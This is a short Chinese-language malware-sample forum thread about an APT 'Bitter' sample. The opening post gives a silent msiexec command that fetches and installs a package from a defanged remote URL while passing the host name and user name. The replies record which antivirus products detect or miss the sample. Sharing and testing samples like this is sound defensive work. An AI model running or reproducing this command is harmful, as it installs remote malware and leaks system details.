#APT #Bitter (2022-03-03)

显示全部楼层 · 发表于 2022-3-4 06:38:37

msiexec /i http://diyefosterfeeds[.]com/csslogs/vis.php?st=HostName*UserName /qn /norestart

复制代码

显示全部楼层 · 发表于 2022-3-4 07:50:12

Kaspersky

显示全部楼层 · 发表于 2022-3-4 08:39:06

ESET missed.

显示全部楼层 · 发表于 2022-3-4 08:45:44

Hibike 发表于 2022-3-4 08:39
ESET missed.

智量：kill（碾压了ESET

）

显示全部楼层 · 发表于 2022-3-4 09:04:36

WD不报。

显示全部楼层 · 发表于 2022-3-4 09:48:16

本帖最后由 aboringman 于 2022-3-4 19:47 编辑

360：miss

安全大脑

双击之后无任何异常，似乎已经dead......

显示全部楼层 · 发表于 2022-3-4 09:50:31

咖啡扫描miss

显示全部楼层 · 发表于 2022-3-4 10:33:06

SOPHOS MISS

显示全部楼层 · 发表于 2022-3-4 12:12:03

火绒扫描miss

显示全部楼层 · 发表于 2022-3-4 15:03:10

anthonyqian 发表于 2022-3-4 09:50
咖啡扫描miss

5个小时后，mcafee 还是miss

[病毒样本] #APT #Bitter (2022-03-03)